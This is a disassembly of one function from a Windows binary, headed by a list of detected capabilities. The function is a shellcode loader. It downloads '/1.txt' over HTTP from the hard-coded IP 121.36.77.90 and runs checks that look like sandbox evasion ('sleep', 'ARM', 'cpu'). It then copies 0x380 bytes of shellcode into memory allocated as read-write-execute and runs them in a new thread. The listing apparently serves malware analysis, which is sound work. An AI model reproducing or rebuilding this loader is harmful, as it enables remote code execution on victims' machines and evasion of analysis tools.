Function at 0x140004970
Capabilities:
Allocate or change rwx memory
Create thread
Initialize winhttp library
Prepare http request
Receive http response
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x118
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_WinHTTP_Example_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
je 0x140004c02
xor r9d, r9d
mov r8w, 0x50
lea rdx, str.121.36.77.90
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
je 0x140004bf4
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str._1.txt
lea rdx, [0x140009940]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x140004be6
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140004a82
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x140004bdb
mov dword [rsp + 0x44], 0
mov dword [rsp + 0x48], 0
lea rdx, [rsp + 0x44]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
cmp dword [rsp + 0x44], 0
jbe 0x140004bd0
mov eax, dword [rsp + 0x44]
inc eax
mov eax, eax
mov ecx, eax
call fcn.140004eec
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0x44]
inc eax
mov eax, eax
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x48]
lea eax, [rax + rcx + 1]
mov eax, eax
mov ecx, eax
call fcn.140004eec
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x60], 0
je 0x140004b6f
mov eax, dword [rsp + 0x40]
mov r8d, eax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0xb0]
call fcn.140004ee4
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x68]
add rdx, rcx
mov rcx, rdx
mov r8d, eax
mov rdx, qword [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x68]
mov byte [rcx + rax], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xb8], rax
mov rcx, qword [rsp + 0xb8]
call fcn.140004ee4
cmp dword [rsp + 0x44], 0
ja 0x140004a9d
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001fa4
lea rdx, [0x140002a8c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0xe8]
call fcn.140002cf8
nop
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0xd0]
call fcn.140003af0
nop
lea rcx, [rsp + 0xe8]
call fcn.140001630
lea rcx, [rsp + 0xd0]
call fcn.140001d10
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0xd0]
call fcn.140001e3c
mov dword [rsp + 0x80], eax
mov edx, dword [rsp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140002a8c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140003950
test eax, eax
jne 0x140004e29
call fcn.140003a5c
movzx eax, al
cmp eax, 1
jne 0x140004e1b
call fcn.140003a84
movzx eax, al
cmp eax, 1
jne 0x140004e0d
call fcn.140003a10
movzx eax, al
cmp eax, 1
jne 0x140004dff
call fcn.140003ab0
movzx eax, al
cmp eax, 1
jne 0x140004df1
mov dword [rsp + 0x4c], 0x380
lea rdx, str.shellcode_size:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001fa4
mov edx, dword [rsp + 0x4c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140002a8c]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [rsp + 0x4c]
inc eax
cdqe
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
mov rdx, qword [rsp + 0x78]
lea rcx, str.shellcode
call fcn.140001eec
movsxd rax, dword [rsp + 0x4c]
mov r8, rax
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x78]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x98]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x78]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0xc8], rax
mov edx, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x78]
call fcn.140003434
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x84], 0
lea rcx, [rsp + 0xd0]
call fcn.140001658
mov eax, dword [rsp + 0x84]
jmp 0x140004e49
lea rcx, str._sleep
call fcn.140001eec
jmp 0x140004e0b
lea rcx, str._ARM
call fcn.140001eec
jmp 0x140004e19
lea rcx, str._cpu
call fcn.140001eec
jmp 0x140004e27
lea rcx, [0x1400099a0]
call fcn.140001eec
jmp 0x140004e36
lea rcx, str._sleep1
call fcn.140001eec
nop
lea rcx, [rsp + 0xd0]
call fcn.140001658
jmp 0x140004e47
xor eax, eax
add rsp, 0x118
ret